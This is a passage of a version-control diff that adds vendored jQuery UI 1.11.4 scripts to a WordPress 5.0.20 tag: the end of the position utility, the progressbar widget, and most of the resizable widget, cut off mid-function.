+			// too far up -> align with top
+			} else if ( overTop > 0 ) {
+				position.top += overTop;
+			// too far down -> align with bottom edge
+			} else if ( overBottom > 0 ) {
+				position.top -= overBottom;
+			// adjust based on position and margin
+			} else {
+				position.top = max( position.top - collisionPosTop, position.top );
+			}
+		}
+	},
+	flip: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.left + within.scrollLeft,
+				outerWidth = within.width,
+				offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = collisionPosLeft - offsetLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
+				myOffset = data.my[ 0 ] === "left" ?
+					-data.elemWidth :
+					data.my[ 0 ] === "right" ?
+						data.elemWidth :
+						0,
+				atOffset = data.at[ 0 ] === "left" ?
+					data.targetWidth :
+					data.at[ 0 ] === "right" ?
+						-data.targetWidth :
+						0,
+				offset = -2 * data.offset[ 0 ],
+				newOverRight,
+				newOverLeft;
+
+			if ( overLeft < 0 ) {
+				newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset;
+				if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			} else if ( overRight > 0 ) {
+				newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft;
+				if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.top + within.scrollTop,
+				outerHeight = within.height,
+				offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = collisionPosTop - offsetTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
+				top = data.my[ 1 ] === "top",
+				myOffset = top ?
+					-data.elemHeight :
+					data.my[ 1 ] === "bottom" ?
+						data.elemHeight :
+						0,
+				atOffset = data.at[ 1 ] === "top" ?
+					data.targetHeight :
+					data.at[ 1 ] === "bottom" ?
+						-data.targetHeight :
+						0,
+				offset = -2 * data.offset[ 1 ],
+				newOverTop,
+				newOverBottom;
+			if ( overTop < 0 ) {
+				newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset;
+				if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			} else if ( overBottom > 0 ) {
+				newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop;
+				if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			}
+		}
+	},
+	flipfit: {
+		left: function() {
+			$.ui.position.flip.left.apply( this, arguments );
+			$.ui.position.fit.left.apply( this, arguments );
+		},
+		top: function() {
+			$.ui.position.flip.top.apply( this, arguments );
+			$.ui.position.fit.top.apply( this, arguments );
+		}
+	}
+};
+
+// fraction support test
+(function() {
+	var testElement, testElementParent, testElementStyle, offsetLeft, i,
+		body = document.getElementsByTagName( "body" )[ 0 ],
+		div = document.createElement( "div" );
+
+	//Create a "fake body" for testing based on method used in jQuery.support
+	testElement = document.createElement( body ? "div" : "body" );
+	testElementStyle = {
+		visibility: "hidden",
+		width: 0,
+		height: 0,
+		border: 0,
+		margin: 0,
+		background: "none"
+	};
+	if ( body ) {
+		$.extend( testElementStyle, {
+			position: "absolute",
+			left: "-1000px",
+			top: "-1000px"
+		});
+	}
+	for ( i in testElementStyle ) {
+		testElement.style[ i ] = testElementStyle[ i ];
+	}
+	testElement.appendChild( div );
+	testElementParent = body || document.documentElement;
+	testElementParent.insertBefore( testElement, testElementParent.firstChild );
+
+	div.style.cssText = "position: absolute; left: 10.7432222px;";
+
+	offsetLeft = $( div ).offset().left;
+	supportsOffsetFractions = offsetLeft > 10 && offsetLeft < 11;
+
+	testElement.innerHTML = "";
+	testElementParent.removeChild( testElement );
+})();
+
+})();
+
+return $.ui.position;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/progressbar.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/progressbar.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/progressbar.js	(revision 56912)
@@ -0,0 +1,159 @@
+/*!
+ * jQuery UI Progressbar 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/progressbar/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.progressbar", {
+	version: "1.11.4",
+	options: {
+		max: 100,
+		value: 0,
+
+		change: null,
+		complete: null
+	},
+
+	min: 0,
+
+	_create: function() {
+		// Constrain initial value
+		this.oldValue = this.options.value = this._constrainedValue();
+
+		this.element
+			.addClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
+			.attr({
+				// Only set static values, aria-valuenow and aria-valuemax are
+				// set inside _refreshValue()
+				role: "progressbar",
+				"aria-valuemin": this.min
+			});
+
+		this.valueDiv = $( "<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>" )
+			.appendTo( this.element );
+
+		this._refreshValue();
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-valuemin" )
+			.removeAttr( "aria-valuemax" )
+			.removeAttr( "aria-valuenow" );
+
+		this.valueDiv.remove();
+	},
+
+	value: function( newValue ) {
+		if ( newValue === undefined ) {
+			return this.options.value;
+		}
+
+		this.options.value = this._constrainedValue( newValue );
+		this._refreshValue();
+	},
+
+	_constrainedValue: function( newValue ) {
+		if ( newValue === undefined ) {
+			newValue = this.options.value;
+		}
+
+		this.indeterminate = newValue === false;
+
+		// sanitize value
+		if ( typeof newValue !== "number" ) {
+			newValue = 0;
+		}
+
+		return this.indeterminate ? false :
+			Math.min( this.options.max, Math.max( this.min, newValue ) );
+	},
+
+	_setOptions: function( options ) {
+		// Ensure "value" option is set after other values (like max)
+		var value = options.value;
+		delete options.value;
+
+		this._super( options );
+
+		this.options.value = this._constrainedValue( value );
+		this._refreshValue();
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "max" ) {
+			// Don't allow a max less than min
+			value = Math.max( this.min, value );
+		}
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+		}
+		this._super( key, value );
+	},
+
+	_percentage: function() {
+		return this.indeterminate ? 100 : 100 * ( this.options.value - this.min ) / ( this.options.max - this.min );
+	},
+
+	_refreshValue: function() {
+		var value = this.options.value,
+			percentage = this._percentage();
+
+		this.valueDiv
+			.toggle( this.indeterminate || value > this.min )
+			.toggleClass( "ui-corner-right", value === this.options.max )
+			.width( percentage.toFixed(0) + "%" );
+
+		this.element.toggleClass( "ui-progressbar-indeterminate", this.indeterminate );
+
+		if ( this.indeterminate ) {
+			this.element.removeAttr( "aria-valuenow" );
+			if ( !this.overlayDiv ) {
+				this.overlayDiv = $( "<div class='ui-progressbar-overlay'></div>" ).appendTo( this.valueDiv );
+			}
+		} else {
+			this.element.attr({
+				"aria-valuemax": this.options.max,
+				"aria-valuenow": value
+			});
+			if ( this.overlayDiv ) {
+				this.overlayDiv.remove();
+				this.overlayDiv = null;
+			}
+		}
+
+		if ( this.oldValue !== value ) {
+			this.oldValue = value;
+			this._trigger( "change" );
+		}
+		if ( value === this.options.max ) {
+			this._trigger( "complete" );
+		}
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/resizable.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/resizable.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/resizable.js	(revision 56912)
@@ -0,0 +1,1152 @@
+/*!
+ * jQuery UI Resizable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/resizable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget("ui.resizable", $.ui.mouse, {
+	version: "1.11.4",
+	widgetEventPrefix: "resize",
+	options: {
+		alsoResize: false,
+		animate: false,
+		animateDuration: "slow",
+		animateEasing: "swing",
+		aspectRatio: false,
+		autoHide: false,
+		containment: false,
+		ghost: false,
+		grid: false,
+		handles: "e,s,se",
+		helper: false,
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 10,
+		minWidth: 10,
+		// See #7960
+		zIndex: 90,
+
+		// callbacks
+		resize: null,
+		start: null,
+		stop: null
+	},
+
+	_num: function( value ) {
+		return parseInt( value, 10 ) || 0;
+	},
+
+	_isNumber: function( value ) {
+		return !isNaN( parseInt( value, 10 ) );
+	},
+
+	_hasScroll: function( el, a ) {
+
+		if ( $( el ).css( "overflow" ) === "hidden") {
+			return false;
+		}
+
+		var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
+			has = false;
+
+		if ( el[ scroll ] > 0 ) {
+			return true;
+		}
+
+		// TODO: determine which cases actually cause this to happen
+		// if the element doesn't have the scroll set, see if it's possible to
+		// set the scroll
+		el[ scroll ] = 1;
+		has = ( el[ scroll ] > 0 );
+		el[ scroll ] = 0;
+		return has;
+	},
+
+	_create: function() {
+
+		var n, i, handle, axis, hname,
+			that = this,
+			o = this.options;
+		this.element.addClass("ui-resizable");
+
+		$.extend(this, {
+			_aspectRatio: !!(o.aspectRatio),
+			aspectRatio: o.aspectRatio,
+			originalElement: this.element,
+			_proportionallyResizeElements: [],
+			_helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null
+		});
+
+		// Wrap the element if it cannot hold child nodes
+		if (this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)) {
+
+			this.element.wrap(
+				$("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({
+					position: this.element.css("position"),
+					width: this.element.outerWidth(),
+					height: this.element.outerHeight(),
+					top: this.element.css("top"),
+					left: this.element.css("left")
+				})
+			);
+
+			this.element = this.element.parent().data(
+				"ui-resizable", this.element.resizable( "instance" )
+			);
+
+			this.elementIsWrapper = true;
+
+			this.element.css({
+				marginLeft: this.originalElement.css("marginLeft"),
+				marginTop: this.originalElement.css("marginTop"),
+				marginRight: this.originalElement.css("marginRight"),
+				marginBottom: this.originalElement.css("marginBottom")
+			});
+			this.originalElement.css({
+				marginLeft: 0,
+				marginTop: 0,
+				marginRight: 0,
+				marginBottom: 0
+			});
+			// support: Safari
+			// Prevent Safari textarea resize
+			this.originalResizeStyle = this.originalElement.css("resize");
+			this.originalElement.css("resize", "none");
+
+			this._proportionallyResizeElements.push( this.originalElement.css({
+				position: "static",
+				zoom: 1,
+				display: "block"
+			}) );
+
+			// support: IE9
+			// avoid IE jump (hard set the margin)
+			this.originalElement.css({ margin: this.originalElement.css("margin") });
+
+			this._proportionallyResize();
+		}
+
+		this.handles = o.handles ||
+			( !$(".ui-resizable-handle", this.element).length ?
+				"e,s,se" : {
+					n: ".ui-resizable-n",
+					e: ".ui-resizable-e",
+					s: ".ui-resizable-s",
+					w: ".ui-resizable-w",
+					se: ".ui-resizable-se",
+					sw: ".ui-resizable-sw",
+					ne: ".ui-resizable-ne",
+					nw: ".ui-resizable-nw"
+				} );
+
+		this._handles = $();
+		if ( this.handles.constructor === String ) {
+
+			if ( this.handles === "all") {
+				this.handles = "n,e,s,w,se,sw,ne,nw";
+			}
+
+			n = this.handles.split(",");
+			this.handles = {};
+
+			for (i = 0; i < n.length; i++) {
+
+				handle = $.trim(n[i]);
+				hname = "ui-resizable-" + handle;
+				axis = $("<div class='ui-resizable-handle " + hname + "'></div>");
+
+				axis.css({ zIndex: o.zIndex });
+
+				// TODO : What's going on here?
+				if ("se" === handle) {
+					axis.addClass("ui-icon ui-icon-gripsmall-diagonal-se");
+				}
+
+				this.handles[handle] = ".ui-resizable-" + handle;
+				this.element.append(axis);
+			}
+
+		}
+
+		this._renderAxis = function(target) {
+
+			var i, axis, padPos, padWrapper;
+
+			target = target || this.element;
+
+			for (i in this.handles) {
+
+				if (this.handles[i].constructor === String) {
+					this.handles[i] = this.element.children( this.handles[ i ] ).first().show();
+				} else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) {
+					this.handles[ i ] = $( this.handles[ i ] );
+					this._on( this.handles[ i ], { "mousedown": that._mouseDown });
+				}
+
+				if (this.elementIsWrapper && this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)) {
+
+					axis = $(this.handles[i], this.element);
+
+					padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
+
+					padPos = [ "padding",
+						/ne|nw|n/.test(i) ? "Top" :
+						/se|sw|s/.test(i) ? "Bottom" :
+						/^e$/.test(i) ? "Right" : "Left" ].join("");
+
+					target.css(padPos, padWrapper);
+
+					this._proportionallyResize();
+				}
+
+				this._handles = this._handles.add( this.handles[ i ] );
+			}
+		};
+
+		// TODO: make renderAxis a prototype function
+		this._renderAxis(this.element);
+
+		this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) );
+		this._handles.disableSelection();
+
+		this._handles.mouseover(function() {
+			if (!that.resizing) {
+				if (this.className) {
+					axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
+				}
+				that.axis = axis && axis[1] ? axis[1] : "se";
+			}
+		});
+
+		if (o.autoHide) {
+			this._handles.hide();
+			$(this.element)
+				.addClass("ui-resizable-autohide")
+				.mouseenter(function() {
+					if (o.disabled) {
+						return;
+					}
+					$(this).removeClass("ui-resizable-autohide");
+					that._handles.show();
+				})
+				.mouseleave(function() {
+					if (o.disabled) {
+						return;
+					}
+					if (!that.resizing) {
+						$(this).addClass("ui-resizable-autohide");
+						that._handles.hide();
+					}
+				});
+		}
+
+		this._mouseInit();
+	},
+
+	_destroy: function() {
+
+		this._mouseDestroy();
+
+		var wrapper,
+			_destroy = function(exp) {
+				$(exp)
+					.removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing")
+					.removeData("resizable")
+					.removeData("ui-resizable")
+					.unbind(".resizable")
+					.find(".ui-resizable-handle")
+						.remove();
+			};
+
+		// TODO: Unwrap at same DOM position
+		if (this.elementIsWrapper) {
+			_destroy(this.element);
+			wrapper = this.element;
+			this.originalElement.css({
+				position: wrapper.css("position"),
+				width: wrapper.outerWidth(),
+				height: wrapper.outerHeight(),
+				top: wrapper.css("top"),
+				left: wrapper.css("left")
+			}).insertAfter( wrapper );
+			wrapper.remove();
+		}
+
+		this.originalElement.css("resize", this.originalResizeStyle);
+		_destroy(this.originalElement);
+
+		return this;
+	},
+
+	_mouseCapture: function(event) {
+		var i, handle,
+			capture = false;
+
+		for (i in this.handles) {
+			handle = $(this.handles[i])[0];
+			if (handle === event.target || $.contains(handle, event.target)) {
+				capture = true;
+			}
+		}
+
+		return !this.options.disabled && capture;
+	},
+
+	_mouseStart: function(event) {
+
+		var curleft, curtop, cursor,
+			o = this.options,
+			el = this.element;
+
+		this.resizing = true;
+
+		this._renderProxy();
+
+		curleft = this._num(this.helper.css("left"));
+		curtop = this._num(this.helper.css("top"));
+
+		if (o.containment) {
+			curleft += $(o.containment).scrollLeft() || 0;
+			curtop += $(o.containment).scrollTop() || 0;
+		}
+
+		this.offset = this.helper.offset();
+		this.position = { left: curleft, top: curtop };
+
+		this.size = this._helper ? {
+				width: this.helper.width(),
+				height: this.helper.height()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.originalSize = this._helper ? {
+				width: el.outerWidth(),
+				height: el.outerHeight()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.sizeDiff = {
+			width: el.outerWidth() - el.width(),
+			height: el.outerHeight() - el.height()
+		};
+
+		this.originalPosition = { left: curleft, top: curtop };
+		this.originalMousePosition = { left: event.pageX, top: event.pageY };
+
+		this.aspectRatio = (typeof o.aspectRatio === "number") ?
+			o.aspectRatio :
+			((this.originalSize.width / this.originalSize.height) || 1);
+
+		cursor = $(".ui-resizable-" + this.axis).css("cursor");
+		$("body").css("cursor", cursor === "auto" ? this.axis + "-resize" : cursor);
+
+		el.addClass("ui-resizable-resizing");
+		this._propagate("start", event);
+		return true;
+	},
+
+	_mouseDrag: function(event) {
+
+		var data, props,
+			smp = this.originalMousePosition,
+			a = this.axis,
+			dx = (event.pageX - smp.left) || 0,
+			dy = (event.pageY - smp.top) || 0,
+			trigger = this._change[a];
+
+		this._updatePrevProperties();
+
+		if (!trigger) {
+			return false;
+		}
+
+		data = trigger.apply(this, [ event, dx, dy ]);
+
+		this._updateVirtualBoundaries(event.shiftKey);
+		if (this._aspectRatio || event.shiftKey) {
+			data = this._updateRatio(data, event);
+		}
+
+		data = this._respectSize(data, event);
+
+		this._updateCache(data);
+
+		this._propagate("resize", event);
+
+		props = this._applyChanges();
+
+		if ( !this._helper && this._proportionallyResizeElements.length ) {
+			this._proportionallyResize();
+		}
+
+		if ( !$.isEmptyObject( props ) ) {
+			this._updatePrevProperties();
+			this._trigger( "resize", event, this.ui() );
+			this._applyChanges();
+		}
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+
+		this.resizing = false;
+		var pr, ista, soffseth, soffsetw, s, left, top,
+			o = this.options, that = this;
+
+		if (this._helper) {
+
+			pr = this._proportionallyResizeElements;
+			ista = pr.length && (/textarea/i).test(pr[0].nodeName);
+			soffseth = ista && this._hasScroll(pr[0], "left") ? 0 : that.sizeDiff.height;
+			soffsetw = ista ? 0 : that.sizeDiff.width;
+
+			s = {
+				width: (that.helper.width()  - soffsetw),
+				height: (that.helper.height() - soffseth)
+			};
+			left = (parseInt(that.element.css("left"), 10) +
+				(that.position.left - that.originalPosition.left)) || null;
+			top = (parseInt(that.element.css("top"), 10) +
+				(that.position.top - that.originalPosition.top)) || null;
+
+			if (!o.animate) {
+				this.element.css($.extend(s, { top: top, left: left }));
+			}
+
+			that.helper.height(that.size.height);
+			that.helper.width(that.size.width);
+
+			if (this._helper && !o.animate) {
+				this._proportionallyResize();
+			}
+		}
+
+		$("body").css("cursor", "auto");
+
+		this.element.removeClass("ui-resizable-resizing");
+
+		this._propagate("stop", event);
+
+		if (this._helper) {
+			this.helper.remove();
+		}
+
+		return false;
+
+	},
+
+	_updatePrevProperties: function() {
+		this.prevPosition = {
+			top: this.position.top,
+			left: this.position.left
+		};
+		this.prevSize = {
+			width: this.size.width,
+			height: this.size.height
+		};
+	},
+
+	_applyChanges: function() {
+		var props = {};
+
+		if ( this.position.top !== this.prevPosition.top ) {
+			props.top = this.position.top + "px";
+		}
+		if ( this.position.left !== this.prevPosition.left ) {
+			props.left = this.position.left + "px";
+		}
+		if ( this.size.width !== this.prevSize.width ) {
+			props.width = this.size.width + "px";
+		}
+		if ( this.size.height !== this.prevSize.height ) {
+			props.height = this.size.height + "px";
+		}
+
+		this.helper.css( props );
+
+		return props;
+	},
+
+	_updateVirtualBoundaries: function(forceAspectRatio) {
+		var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b,
+			o = this.options;
+
+		b = {
+			minWidth: this._isNumber(o.minWidth) ? o.minWidth : 0,
+			maxWidth: this._isNumber(o.maxWidth) ? o.maxWidth : Infinity,
+			minHeight: this._isNumber(o.minHeight) ? o.minHeight : 0,
+			maxHeight: this._isNumber(o.maxHeight) ? o.maxHeight : Infinity
+		};
+
+		if (this._aspectRatio || forceAspectRatio) {
+			pMinWidth = b.minHeight * this.aspectRatio;
+			pMinHeight = b.minWidth / this.aspectRatio;
+			pMaxWidth = b.maxHeight * this.aspectRatio;
+			pMaxHeight = b.maxWidth / this.aspectRatio;
+
+			if (pMinWidth > b.minWidth) {
+				b.minWidth = pMinWidth;
+			}
+			if (pMinHeight > b.minHeight) {
+				b.minHeight = pMinHeight;
+			}
+			if (pMaxWidth < b.maxWidth) {
+				b.maxWidth = pMaxWidth;
+			}
+			if (pMaxHeight < b.maxHeight) {
+				b.maxHeight = pMaxHeight;
+			}
+		}
+		this._vBoundaries = b;
+	},
+
+	_updateCache: function(data) {
+		this.offset = this.helper.offset();
+		if (this._isNumber(data.left)) {
+			this.position.left = data.left;
+		}
+		if (this._isNumber(data.top)) {
+			this.position.top = data.top;
+		}
+		if (this._isNumber(data.height)) {
+			this.size.height = data.height;
+		}
+		if (this._isNumber(data.width)) {
+			this.size.width = data.width;
+		}
+	},
+
+	_updateRatio: function( data ) {
+
+		var cpos = this.position,
+			csize = this.size,
+			a = this.axis;
+
+		if (this._isNumber(data.height)) {
+			data.width = (data.height * this.aspectRatio);
+		} else if (this._isNumber(data.width)) {
+			data.height = (data.width / this.aspectRatio);
+		}
+
+		if (a === "sw") {
+			data.left = cpos.left + (csize.width - data.width);
+			data.top = null;
+		}
+		if (a === "nw") {
+			data.top = cpos.top + (csize.height - data.height);
+			data.left = cpos.left + (csize.width - data.width);
+		}
+
+		return data;
+	},
+
+	_respectSize: function( data ) {
+
+		var o = this._vBoundaries,
+			a = this.axis,
+			ismaxw = this._isNumber(data.width) && o.maxWidth && (o.maxWidth < data.width),
+			ismaxh = this._isNumber(data.height) && o.maxHeight && (o.maxHeight < data.height),
+			isminw = this._isNumber(data.width) && o.minWidth && (o.minWidth > data.width),
+			isminh = this._isNumber(data.height) && o.minHeight && (o.minHeight > data.height),
+			dw = this.originalPosition.left + this.originalSize.width,
+			dh = this.position.top + this.size.height,
+			cw = /sw|nw|w/.test(a), ch = /nw|ne|n/.test(a);
+		if (isminw) {
+			data.width = o.minWidth;
+		}
+		if (isminh) {
+			data.height = o.minHeight;
+		}
+		if (ismaxw) {
+			data.width = o.maxWidth;
+		}
+		if (ismaxh) {
+			data.height = o.maxHeight;
+		}
+
+		if (isminw && cw) {
+			data.left = dw - o.minWidth;
+		}
+		if (ismaxw && cw) {
+			data.left = dw - o.maxWidth;
+		}
+		if (isminh && ch) {
+			data.top = dh - o.minHeight;
+		}
+		if (ismaxh && ch) {
+			data.top = dh - o.maxHeight;
+		}
+
+		// Fixing jump error on top/left - bug #2330
+		if (!data.width && !data.height && !data.left && data.top) {
+			data.top = null;
+		} else if (!data.width && !data.height && !data.top && data.left) {
+			data.left = null;
+		}
+
+		return data;
+	},
+
+	_getPaddingPlusBorderDimensions: function( element ) {
+		var i = 0,
+			widths = [],
+			borders = [
+				element.css( "borderTopWidth" ),
+				element.css( "borderRightWidth" ),
+				element.css( "borderBottomWidth" ),
+				element.css( "borderLeftWidth" )
+			],
+			paddings = [
+				element.css( "paddingTop" ),
+				element.css( "paddingRight" ),
+				element.css( "paddingBottom" ),
+				element.css( "paddingLeft" )
+			];
+
+		for ( ; i < 4; i++ ) {
+			widths[ i ] = ( parseInt( borders[ i ], 10 ) || 0 );
+			widths[ i ] += ( parseInt( paddings[ i ], 10 ) || 0 );
+		}
+
+		return {
+			height: widths[ 0 ] + widths[ 2 ],
+			width: widths[ 1 ] + widths[ 3 ]
+		};
+	},
+
+	_proportionallyResize: function() {
+
+		if (!this._proportionallyResizeElements.length) {
+			return;
+		}
+
+		var prel,
+			i = 0,
+			element = this.helper || this.element;
+
+		for ( ; i < this._proportionallyResizeElements.length; i++) {
+
+			prel = this._proportionallyResizeElements[i];
+
+			// TODO: Seems like a bug to cache this.outerDimensions
+			// considering that we are in a loop.
+			if (!this.outerDimensions) {
+				this.outerDimensions = this._getPaddingPlusBorderDimensions( prel );
+			}
+
+			prel.css({
+				height: (element.height() - this.outerDimensions.height) || 0,
+				width: (element.width() - this.outerDimensions.width) || 0
+			});
+
+		}
+
+	},
+
+	_renderProxy: function() {
+
+		var el = this.element, o = this.options;
+		this.elementOffset = el.offset();
+
+		if (this._helper) {
+
+			this.helper = this.helper || $("<div style='overflow:hidden;'></div>");
+
+			this.helper.addClass(this._helper).css({
+				width: this.element.outerWidth() - 1,
+				height: this.element.outerHeight() - 1,
+				position: "absolute",
+				left: this.elementOffset.left + "px",
+				top: this.elementOffset.top + "px",
+				zIndex: ++o.zIndex //TODO: Don't modify option
+			});
+
+			this.helper
+				.appendTo("body")
+				.disableSelection();
+
+		} else {
+			this.helper = this.element;
+		}
+
+	},
+
+	_change: {
+		e: function(event, dx) {
+			return { width: this.originalSize.width + dx };
+		},
+		w: function(event, dx) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { left: sp.left + dx, width: cs.width - dx };
+		},
+		n: function(event, dx, dy) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { top: sp.top + dy, height: cs.height - dy };
+		},
+		s: function(event, dx, dy) {
+			return { height: this.originalSize.height + dy };
+		},
+		se: function(event, dx, dy) {
+			return $.extend(this._change.s.apply(this, arguments),
+				this._change.e.apply(this, [ event, dx, dy ]));
+		},
+		sw: function(event, dx, dy) {
+			return $.extend(this._change.s.apply(this, arguments),
+				this._change.w.apply(this, [ event, dx, dy ]));
+		},
+		ne: function(event, dx, dy) {
+			return $.extend(this._change.n.apply(this, arguments),
+				this._change.e.apply(this, [ event, dx, dy ]));
+		},
+		nw: function(event, dx, dy) {
+			return $.extend(this._change.n.apply(this, arguments),
+				this._change.w.apply(this, [ event, dx, dy ]));
+		}
+	},
+
+	_propagate: function(n, event) {
+		$.ui.plugin.call(this, n, [ event, this.ui() ]);
+		(n !== "resize" && this._trigger(n, event, this.ui()));
+	},
+
+	plugins: {},
+
+	ui: function() {
+		return {
+			originalElement: this.originalElement,
+			element: this.element,
+			helper: this.helper,
+			position: this.position,
+			size: this.size,
+			originalSize: this.originalSize,
+			originalPosition: this.originalPosition
+		};
+	}
+
+});
+
+/*
+ * Resizable Extensions
+ */
+
+$.ui.plugin.add("resizable", "animate", {
+
+	stop: function( event ) {
+		var that = $(this).resizable( "instance" ),
+			o = that.options,
+			pr = that._proportionallyResizeElements,
+			ista = pr.length && (/textarea/i).test(pr[0].nodeName),
+			soffseth = ista && that._hasScroll(pr[0], "left") ? 0 : that.sizeDiff.height,
+			soffsetw = ista ? 0 : that.sizeDiff.width,
+			style = { width: (that.size.width - soffsetw), height: (that.size.height - soffseth) },
+			left = (parseInt(that.element.css("left"), 10) +
+				(that.position.left - that.originalPosition.left)) || null,
+			top = (parseInt(that.element.css("top"), 10) +
+				(that.position.top - that.originalPosition.top)) || null;
+
+		that.element.animate(
+			$.extend(style, top && left ? { top: top, left: left } : {}), {
+				duration: o.animateDuration,
+				easing: o.animateEasing,
+				step: function() {
+
+					var data = {
+						width: parseInt(that.element.css("width"), 10),
+						height: parseInt(that.element.css("height"), 10),
+						top: parseInt(that.element.css("top"), 10),
+						left: parseInt(that.element.css("left"), 10)
+					};
+
+					if (pr && pr.length) {
+						$(pr[0]).css({ width: data.width, height: data.height });
+					}
+
+					// propagating resize, and updating values for each animation step
+					that._updateCache(data);
+					that._propagate("resize", event);
+
+				}
+			}
+		);
+	}
+
+});
+
+$.ui.plugin.add( "resizable", "containment", {
+
+	start: function() {
+		var element, p, co, ch, cw, width, height,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			el = that.element,
+			oc = o.containment,
+			ce = ( oc instanceof $ ) ? oc.get( 0 ) : ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc;
+
+		if ( !ce ) {
+			return;
+		}
+
+		that.containerElement = $( ce );
+
+		if ( /document/.test( oc ) || oc === document ) {
+			that.containerOffset = {
+				left: 0,
+				top: 0
+			};
+			that.containerPosition = {
+				left: 0,
+				top: 0
+			};
+
+			that.parentData = {
+				element: $( document ),
+				left: 0,
+				top: 0,
+				width: $( document ).width(),
+				height: $( document ).height() || document.body.parentNode.scrollHeight
+			};
+		} else {
+			element = $( ce );
+			p = [];
+			$([ "Top", "Right", "Left", "Bottom" ]).each(function( i, name ) {
+				p[ i ] = that._num( element.css( "padding" + name ) );
+			});
+
+			that.containerOffset = element.offset();
+			that.containerPosition = element.position();
+			that.containerSize = {
+				height: ( element.innerHeight() - p[ 3 ] ),
+				width: ( element.innerWidth() - p[ 1 ] )
+			};
+
+			co = that.containerOffset;
+			ch = that.containerSize.height;
+			cw = that.containerSize.width;
+			width = ( that._hasScroll ( ce, "left" ) ? ce.scrollWidth : cw );
+			height = ( that._hasScroll ( ce ) ? ce.scrollHeight : ch ) ;
+
+			that.parentData = {
+				element: ce,
+				left: co.left,
+				top: co.top,
+				width: width,
+				height: height
+			};
+		}
+	},
+
+	resize: function( event ) {
+		var woset, hoset, isParent, isOffsetRelative,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cp = that.position,
+			pRatio = that._aspectRatio || event.shiftKey,
+			cop = {
+				top: 0,
+				left: 0
+			},
+			ce = that.containerElement,
+			continueResize = true;
+
+		if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) {
+			cop = co;
+		}
+
+		if ( cp.left < ( that._helper ? co.left : 0 ) ) {
+			that.size.width = that.size.width +
+				( that._helper ?
+					( that.position.left - co.left ) :
+					( that.position.left - cop.left ) );
+
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.left = o.helper ? co.left : 0;
+		}
+
